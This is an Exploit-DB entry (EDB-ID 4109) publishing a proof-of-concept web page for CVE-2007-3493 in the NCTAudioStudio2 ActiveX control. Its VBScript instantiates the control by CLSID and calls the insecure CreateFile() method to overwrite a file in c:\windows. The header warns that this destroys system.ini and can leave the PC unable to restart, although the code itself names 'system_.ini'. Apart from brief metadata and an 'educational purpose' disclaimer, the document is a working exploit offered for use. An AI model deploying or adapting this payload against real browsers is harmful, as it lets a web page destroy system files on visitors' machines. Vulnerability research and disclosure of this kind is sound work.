NCTAudioStudio2 - ActiveX DLL 2.6.1.148 CreateFile Insecure Method

2007-06-26T00:00:00
ID EDB-ID:4109
Type exploitdb
Reporter shinnai
Modified 2007-06-26T00:00:00

Description

NCTAudioStudio2 ActiveX DLL 2.6.1.148 CreateFile() Insecure Method. CVE-2007-3493. Remote exploit for windows platform

                                        
                                            <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">--------------------------------------------------------------------------------------------------
 <b>NCTAudioStudio2 ActiveX DLL (NCTWavChunksEditor2.dll v. 2.6.1.148) "CreateFile()"Insecure Method</b>
 url: http://www.nctsoft.com/products/NCTAudioEditor2/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx (for example Sienzo DMM) are vulnerable to this exploits.
--------------------------------------------------------------------------------------------------

<object classid='clsid:A77849B6-6125-4466-88DC-4855C014A0C4' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.CreateFile "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"NCTAudioStudio2")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "NCTAudioStudio2")
   End If 
 End Sub
</script>

</span></span>
</code></pre>

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